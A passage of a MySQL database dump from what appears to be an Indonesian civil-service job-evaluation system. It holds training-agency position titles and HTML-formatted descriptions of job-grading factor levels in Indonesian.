(193, 57, 'Kepala Sub Bidang Pengembangan Kompetensi Pejabat Administrasi Urusan Pemerintahan Umum', 192, '2018-12-27 02:16:30', '2018-12-27 02:16:30', 2),
(194, 57, 'Penyusun Program Penyelenggaraan Diklat', 193, '2018-12-27 02:18:15', '2018-12-27 02:18:15', 3),
(195, 57, 'Penyusun Kerjasama Pelatihan', 193, '2018-12-27 02:18:51', '2018-12-27 02:18:51', 3),
(196, 57, 'Pranata Sarana dan Prasarana Diklat', 193, '2018-12-27 02:20:40', '2018-12-27 02:20:40', 3),
(197, 57, 'Kepala Sub Bidang Pengembangan Kompetensi Pejabat Adminisrasi Urusan Pilihan', 192, '2018-12-27 02:25:28', '2018-12-27 02:25:28', 2),
(198, 57, 'Analis Kerjasama Diklat', 197, '2018-12-27 02:28:38', '2018-12-27 02:28:38', 3),
(199, 57, 'Pengelola Penyelenggaraan Diklat', 197, '2018-12-27 02:29:45', '2018-12-27 02:29:45', 3),
(200, 57, 'Pranata Sistem Informasi Diklat Aparatur', 193, '2018-12-27 02:30:36', '2018-12-27 02:30:36', 3),
(201, 57, 'Kepala Sub Bidang Pengembangan Kompetensi Pejabat Fungsional', 192, '2018-12-27 02:32:06', '2018-12-27 02:32:06', 2),
(202, 57, 'Penyusun Laporan Hasil Diklat', 201, '2018-12-27 02:32:47', '2018-12-27 02:32:47', 3),
(203, 57, 'Pengelola Dokumentasi', 201, '2018-12-27 02:34:03', '2018-12-27 02:34:03', 3),
(204, 57, 'Pengadministrasi Kerjasama Pelatihan', 201, '2018-12-27 02:34:36', '2018-12-27 02:34:36', 3),
(205, 57, 'Kepala Bidang Pengembangan Kompetensi Manajerial', 129, '2018-12-27 02:38:05', '2018-12-27 02:38:05', 1),
(206, 57, 'Kepala Sub Bidang Pengembangan Kompetensi Pejabat Daerah', 205, '2018-12-27 02:40:14', '2018-12-27 02:40:14', 2),
(207, 57, 'Analis Diklat', 206, '2018-12-28 02:20:49', '2018-12-28 02:20:49', 3),
(208, 57, 'Pengelola Penyelenggaraan Diklat', 206, '2018-12-28 02:21:39', '2018-12-28 02:21:39', 3),
(209, 57, 'Pranata Sarana dan Prasarana Diklat', 206, '2018-12-28 02:22:18', '2018-12-28 02:22:18', 3);

-- --------------------------------------------------------

--
-- Table structure for table `responsibles`
--

CREATE TABLE `responsibles` (
  `id` int(10) UNSIGNED NOT NULL,
  `responsible` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `responsibles`
--

INSERT INTO `responsibles` (`id`, `responsible`, `analysis_id`, `created_at`, `updated_at`) VALUES
(1, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(2, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(3, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(4, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

-- --------------------------------------------------------

--
-- Table structure for table `sub_factors`
--

CREATE TABLE `sub_factors` (
  `sub_factor_id` int(10) UNSIGNED NOT NULL,
  `sub_factor_title` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `sub_factor_value` int(11) NOT NULL,
  `sub_factor_desc` mediumtext COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `factor_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `sub_factors`
--

INSERT INTO `sub_factors` (`sub_factor_id`, `sub_factor_title`, `sub_factor_value`, `sub_factor_desc`, `factor_id`, `created_at`, `updated_at`) VALUES
(69, 'Tingkat faktor 1-1', 175, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">RUANG LINGKUP</span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan yang diarahkan bersifat prosedural, rutin, dan secara tipikal memberikan jasa atau produk kepada orang tertentu atau kepada unit organisasi terkecil di dalam organisasi.</span></span></span></span></p>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">DAMPAK </span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pekerjaan yang diarahkan memudahkan pekerjaan orang lain dalam unit organisasi langsung, memberikan respon kepada permintaan atau kebutuhan spesifik dari pegawai, atau hanya mempengaruhi fungsi tertentu yang terlokalisasi.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><em><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Ilustrasi: </span></span></em></strong></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan pekerjaan kurir, pekerjaan satpam, pekerjaan klerek, atau pekerjaan penunjang laboratorium yang berada di bawah kelas 7, atau yang setara. Memberikan jasa kepada unit organisasi, kantor lapangan yang berukuran kecil, atau kegiatan setara.</span></span></p>', 1, '2018-10-25 18:41:54', '2018-10-25 18:41:54'),
(2, 'Tingkat faktor 1-2', 350, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">RUANG LINGKUP </span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Segmen program atau pekerjaan yang diarahkan bersifat pekerjaan administratif, pekerjaan teknis, pekerjaan klerek yang rumit, atau yang setara. Fungsi, kegiatan, atau jasa yang diberikan mencakup geografis terbatas dan menunjang sebagian besar kegiatan kantor lapangan, kantor daerah, atau kegiatan setara dalam segmen program instansi.</span></span></span></span></p>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">DAMPAK </span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jasa atau produknya:</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">menunjang dan cukup mempengaruhi kantor lapangan, kantor daerah, atau operasi dan sasaran kantor lapangan, atau segmen program yang setara; atau</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">memberikan jasa kepada populasi/pemakai dengan lingkup sedang, lokal atau terbatas pada sebuah kota kecil atau pedesaan. </span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><em><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Ilustrasi:</span></span></em></strong></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan jasa anggaran, manajemen, staf, suplai, pemeliharaan, perlindungan, perpustakaan, daftar gaji, atau jasa serupa, yang menunjang suatu rumah sakit atau kantor lapangan instansi yang berukuran sedang dan memiliki kerumitan terbatas. Jasa yang diberikan secara langsung berdampak terhadap fungsi dan kegiatan lain di seluruh jajaran organisasi yang didukung dan/atau populasi/pemakai dalam jumlah kecil.</span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Kantor lapangan yang memberikan jasa kepada masyarakat atau memberikan sebagian jasa sesuai kasus yang dibutuhkan kepada masyarakat dalam populasi kecil. Ukuran populasi yang dilayani kantor lapangan setara dengan semua warga dalam sebuah kota kecil. Tergantung pada sifat layanan yang diberikan, populasi yang dilayani boleh terkonsentrasi pada satu kota saja atau tersebar pada suatu wilayah geografis yang lebih luas.&nbsp; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan kegiatan segmen program yang setara dengan kegiatan di atas tetapi berada pada tingkat organisasi yang lebih tinggi dalam instansi terkait, misalnya, bagian dari sebuah biro.</span></span></span></span></li>\r\n</ol>', 1, '2018-09-11 21:05:40', '2018-09-11 21:05:40'),
(3, 'Tingkat faktor 1-3', 550, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">RUANG LINGKUP </span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Segmen program atau pekerjaan yang diarahkan bersifat pekerjaan teknis, pekerjaan administratif, atau pekerjaan profesional. Segmen program atau pekerjaan yang diarahkan mencakup suatu daerah ibukota, suatu daerah, atau suatu daerah kecil di beberapa daerah.</span></span></span></span></p>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">DAMPAK</span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Kegiatan, fungsi, atau jasa yang diberikan secara langsung mempengaruhi pekerjaan instansi, pekerjaan instansi lain, operasi sektor industri, atau masyarakat luas. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Pada tingkat lapangan (mencakup organisasi multimisi yang besar, komplek, dan rumit, dan/atau populasi yang sangat besar yang setara dengan beberapa contoh di bawah ini) pekerjaan tersebut secara langsung mempengaruhi atau menunjang fungsi yang sangat penting dari pekerjaan teknis, pekerjaan profesional, dan pekerjaan administratif yang sangat banyak, beragam, dan rumit.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><em><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Ilustrasi:</span></span></em></strong></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan perencanaan, pengawasan, dan jasa lainnya untuk pembangunan fasilitas yang komplek untuk satu atau beberapa instansi di beberapa lokasi. Fasilitas tersebut sangat penting untuk operasi lapangan yang dilakukan oleh satu atau beberapa instansi untuk beberapa daerah provinsi. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Dalam memberikan jasa secara langsung kepada masyarakat luas, sebagian besar program lini instansi tersebut diberikan untuk masyarakat dengan populasi ukuran sedang. Ukuran populasi sedang adalah setara dengan sekelompok warga dan/atau perusahaan di beberapa pedesaan, kota kecil, atau bagian dari kota metropolitan. </span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tergantung pada total populasi yang dilayani dan tingkat kompleksitas dan intensitas pelayanan itu sendiri, populasi yang dilayani dapat terkonsentrasi pada satu wilayah geografis tertentu, atau meliputi sebagian besar dari populasi berbagai daerah, atau kelompok populasi yang setara.</span></span></span></span></p>\r\n\r\n<ol start=\"3\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan pelayanan administrasi (pegawai, manajemen suplai, anggaran, manajemen fasilitas, atau yang sejenis) yang menunjang dan mempengaruhi operasi suatu organisasi biro atau organisasi markas komando militer penting, suatu organisasi dengan ukuran yang serupa atau sekelompok organisasi yang secara keseluruhan adalah setara.</span></span></span></span></li>\r\n</ol>', 1, '2018-09-11 21:06:20', '2018-09-11 21:06:20'),
(4, 'Tingkat faktor 1-4', 775, '<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">RUANG LINGKUP</span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan suatu segmen program pekerjaan profesional, pekerjaan sangat teknis, atau pekerjaan administratif yang rumit, yang meliputi:</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pengembangan aspek penting dalam pengembangan ilmiah, medis, hukum, administratif, peraturan, dan kebijakan, atau program yang sangat teknis yang setara; atau </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">operasi utama beberapa instalasi industri besar yang sangat rumit milik pemerintah.</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">DAMPAK</span></span></strong></span></span></li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menimbulkan dampak terhadap kantor pusat instansi, beberapa program di seluruh tingkat biro, atau sebagian besar kantor lapangan instansi; atau </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">memfasilitasi pencapaian misi atau program nasional suatu instansi; atau </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">menimbulkan dampak terhadap sebagian besar populasi bangsa atau satu atau beberapa segmen industri besar; atau </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">mendapat perhatian yang berkesinambungan dari DPR atau dari media massa.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><em><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Ilustrasi:</span></span></em></strong></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan program atau segmen program yang sangat penting dari:</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pusat penelitian dan pengembangan yang besar dan komplek ruang angkasa, dan bawah laut;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">departemen produksi perkapalan atau pusat logistik pesawat terbang; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pusat medis yang melakukan penelitian dan pengembangan atau beberapa program medis lain untuk kepentingan nasional.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:13.5pt; margin-right:0in; text-align:justify\"><span style=\"font-size:11pt\"><span style=\"font-family:Tahoma,sans-serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Segmen program yang diarahkan mempengaruhi beberapa segmen sektor industri besar, atau </span></span><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">mendapat perhatian yang berkesinambungan dari DPR atau dari media massa</span></span><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">, atau sangat penting untuk program pertahanan, ruang angkasa, atau kesehatan masyarakat.</span></span></span></span></p>\r\n\r\n<ol start=\"2\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan suatu segmen program yang mempunyai aspek utama dalam pengaturan, pelayanan masyarakat, atau penerimaan pajak untuk sebagian besar negara atau sejumlah daerah. Segmen program yang diarahkan secara langsung mempengaruhi sebagian besar penduduk atau sektor usaha. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan pelayanan administrasi (analisis anggaran, manajemen, atau pegawai) untuk seluruh kantor pusat instansi atau sebagian besar kantor lapangan. Segmen program yang diarahkan berguna untuk membentuk atau menyempurnakan struktur, efektifitas, efisiensi, atau produktifitas beberapa bagian penting dari misi utama instansi, program berbagai daerah, seluruh jajaran kantor pusat, atau proyek untuk kepentingan nasional. </span></span></span></span></li>\r\n</ol>', 1, '2018-09-11 21:14:07', '2018-09-11 21:14:07'),
(5, 'Tingkat faktor 1-5', 900, '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">RUANG LINGKUP DAN DAMPAK DIGABUNGKAN</span></span></strong></span></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan suatu program yang ruang lingkup maupun dampak program atau organisasi yang diarahkan merupakan satu atau beberapa dari yang berikut ini: (secara nasional, di seluruh jajaran instansi, di seluruh jajaran industri; atau di seluruh jajaran pemerintah):</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">yang merupakan kepentingan nasional atau kepentingan nasional instansi tersebut; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">mendapat perhatian yang berkesinambungan dari DPR atau dari media massa</span></span><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">; atau </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">yang memiliki dampak yang luas terhadap masyarakat. </span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ATAU</span></span></strong></span></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan beberapa segmen program yang kritis, proyek ilmiah yang penting, atau organisasi yang memiliki ruang lingkup dan dampak yang setara.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><em><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Ilustrasi:</span></span></em></strong></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan kebijakan instansi yang mempengaruhi masyarakat luas, atau satu atau beberapa sektor industri besar. Jabatan ini memimpin organisasi penting yang mempunyai tugas mengembangkan, mengeluarkan, dan melaksanakan kebijakan, peraturan, dan pedoman lain, yang digunakan seluruh jajaran instansi, atau mempengaruhi kegiatan penting sektor industri besar, atau mempengaruhi masyarakat umum.</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan pengembangan beberapa sub-sistem yang paling kritis dan rumit dalam program pengembangan sistem persenjataan atau ruang angkasa yang sangat penting. Pekerjaan (apakah dilaksanakan pada tingkat kantor pusat atau biro atau di bawahnya) memiliki dampak langsung yang cukup besar terhadap satu atau beberapa sektor industri penting, terhadap misi nasional instansi, atau terhadap pertahanan nasional.</span></span></span></span></li>\r\n</ol>', 1, '2018-09-11 21:14:31', '2018-09-11 21:14:31'),
(6, 'Tingkat faktor 2-1', 100, '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan ini bertanggung-jawab kepada suatu jabatan yang berada pada satu atau beberapa tingkat di bawah jabatan struktural tertinggi. Misalnya jabatan yang paling rendah dalam mata rantai komando, atau jabatan yang tingkatnya setara atau lebih tinggi dalam mata rantai pengawasan langsung.</span></span></span></span></p>', 2, '2018-09-11 21:15:19', '2018-09-11 21:15:19'),
(8, 'Tingkat faktor 2-2', 250, '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan ini bertanggung-jawab kepada suatu jabatan struktural tertinggi atau jabatan yang setara dalam mata rantai pengawasan langsung.</span></span></span></span></p>', 2, '2018-09-11 21:21:41', '2018-09-11 21:21:41'),
(9, 'Tingkat faktor 2-3', 350, '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan ini adalah jabatan struktural tertinggi</span></span><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">.</span></span></span></span></p>', 2, '2018-09-11 21:23:17', '2018-09-11 21:23:17'),
(10, 'Tingkat faktor 3-1', 450, '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan pada tingkat ini memenuhi ketentuan a atau b atau c di bawah ini:</span></span></span></span></p>\r\n\r\n<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\">&nbsp;</li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Merencanakan dan menjadwalkan pekerjaan yang berorientasi pada output setiap 3 bulan dan setiap tahun, atau mengarahkan tugas yang jangka waktunya sama. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menyesuaikan kelas pegawai atau prosedur kerja dalam unit organisasi untuk membuat alokasi sumber daya pada jenjang yang lebih tinggi. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mempertimbangkan pembelian peralatan baru.</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span 